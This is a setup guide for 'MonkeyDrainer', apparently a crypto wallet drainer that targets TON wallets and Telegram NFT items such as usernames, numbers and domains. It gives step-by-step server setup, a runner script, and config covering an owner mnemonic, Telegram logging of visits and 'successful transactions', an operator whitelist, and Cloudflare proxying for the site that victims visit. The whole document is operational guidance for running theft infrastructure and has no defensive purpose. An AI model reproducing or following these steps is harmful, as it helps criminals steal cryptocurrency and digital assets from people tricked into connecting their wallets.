Installation and Configuration of MonkeyDrainer
1. System Requirements
Before starting the installation, ensure your server meets the minimum requirements:
- RAM: At least 8 GB.
- Operating System: Ubuntu 20.04 or higher (or any modern Linux/Unix).
- Processor: Minimum 2 cores (4 cores recommended for stable performance).
- Disk Space: At least 20 GB.
⚠️ Important! The server should be clean, without any installed control panels (e.g., cPanel, Plesk), as the installation script will install all the necessary software, including Docker.
2. Obtaining an API Key from TON Center
- Open the Telegram bot @tonapibot.
- Follow the bot’s instructions to register and get an API key.
- Ensure you select the Mainnet network to work with the main TON network.
3. Connecting to the Server via Bitvise SSH Client
Download and install Bitvise SSH Client:
- Visit Bitvise SSH Client and install the program.
Launch Bitvise SSH Client.
Enter your connection details:
- In the Host field, enter the IP address of your server.
- In the Username field, enter your username (e.g.,
root
). - If you’re using a password, select Password and enter it.
- If you’re using an SSH key, select PublicKey and specify the path to your key.
Click
Log in
to connect to the server. You will now have access to the terminal and file manager.
4. Preparing the Server
Open the terminal in Bitvise SSH Client and run the following command to update packages:
bashsudo apt update && sudo apt upgrade -y
Upload the MonkeyDrainer archive to the server using Bitvise:
- Open the Bitvise file manager (click on the "New SFTP window" button).
- Drag and drop the fusion-drainer-main.zip archive to your server.
In the terminal, extract the archive and navigate to the folder:
bashunzip fusion-drainer-main.zip cd fusion-drainer-main
Grant execution rights to the
runner.sh
script:bashchmod +x runner.sh
5. Configuring via Bitvise (easily done through the file manager)
Steps:
Open the Bitvise file manager:
- Click on the New SFTP window button in Bitvise to open the file manager.
Rename the
config.example.yaml
file toconfig.yaml
:- In the file manager, find the
config.example.yaml
file. - Right-click on the file and select "Rename."
- Rename it to
config.yaml
.
- In the file manager, find the
Edit the
config.yaml
file:- Right-click on the
config.yaml
file and select "Edit." - Adjust the file according to your website and system (see the next section).
- Right-click on the
6. Configuring the config.yaml
File
Now that you have opened the config.yaml
file, you need to configure it for the proper operation of the application. Here’s how to do it:
Example configuration:
URL of your site:
- In the
api
section, specify the address that will point to the MonkeyDrainer server:yamlapi: # Base URL for the API base_url: "https://yourdomain.com"
- In the
Telegram bot configuration:
- Get the token via BotFather.
- Specify the token and chat ID in the
telegram
section:yamltelegram: # Token for your Telegram bot bot_token: "your_bot_token" # Global Chat ID for logs global_logs_chat_id: "-1234567890" # Forcefully disable visit logs in the global channel force_disable_visit_logs: false # Duplicate logs of successful transactions to the global channel duplicate_successful_transaction_logs: true
Whitelist:
- Add the IDs of users who are allowed to interact with the bot:yaml
whitelist: # Whitelist of user IDs allowed to interact with the bot - 123456789 - 987654321
- Add the IDs of users who are allowed to interact with the bot:
TON API configuration:
- Specify the API key to interact with the TON blockchain:yaml
ton: # API key for accessing TON services apiKey: "your_api_key" # API endpoint URL for TON services endpoint: "https://toncenter.com/api/v2/jsonRPC" # Owner's mnemonic phrase # This is required for deploying and managing smart contracts. mnemonic: "your_mnemonic_phrase"
- Specify the API key to interact with the TON blockchain:
NFT price configuration:
- Set up static prices for teleitem domains, numbers, and usernames:yaml
nft: # Fallback static price for teleitem domain in TON if API fails to provide a price teleitemDomainFallbackPrice: 1 # Fallback static price for teleitem number in TON if API fails to provide a price teleitemNumberFallbackPrice: 10 # Fallback static price for teleitem username in TON if API fails to provide a price teleitemUsernameFallbackPrice: 10
- Set up static prices for teleitem domains, numbers, and usernames:
YAML key elements:
- Indentation: Use 2 spaces for indentation. For example, everything related to
telegram
should be under it with proper indentation. - Lists: Use
-
before list items, for example:yamlwhitelist: - 123456789 - 987654321
After editing, save the file.
7. Configuring Cloudflare
Register and add your domain to Cloudflare:
- Go to Cloudflare and register if you don’t have an account yet.
- After registering, add your domain to Cloudflare. Enter your domain name and follow the on-screen instructions to complete the process.
- Update your domain's NS records to those provided by Cloudflare.
Configuring DNS records:
- Go to the DNS section in Cloudflare's dashboard.
- Add an A record for your domain that points to your server's IP address:
- Record type: A
- Name: @ (or your subdomain, e.g., www)
- IP address: Your server's IP address
- Ensure the cloud icon next to the A record is orange, indicating traffic is proxied through Cloudflare.
Enabling SSL Flexible:
- Go to the SSL/TLS section in Cloudflare's dashboard.
- Select the Flexible mode for HTTPS through Cloudflare, even if your server doesn’t support SSL.
8. Installing and Running MonkeyDrainer
After configuring the setup, you are ready to install and run MonkeyDrainer.
Steps:
Run the installation script:
bash./runner.sh
The script will automatically:
- Install Docker if it’s not already installed.
- Launch the required containers for operation.
- Set up the application to work with your website and the TON blockchain.
9. Managing the Application
To manage the application, use the runner.sh
script. Here are the main commands:
- Start containers: Run
./runner.sh
and select 1. - Stop containers: Run
./runner.sh
and select 3. - Restart containers: Run
./runner.sh
and select 4. - Check container status: Run
./runner.sh
and select 5.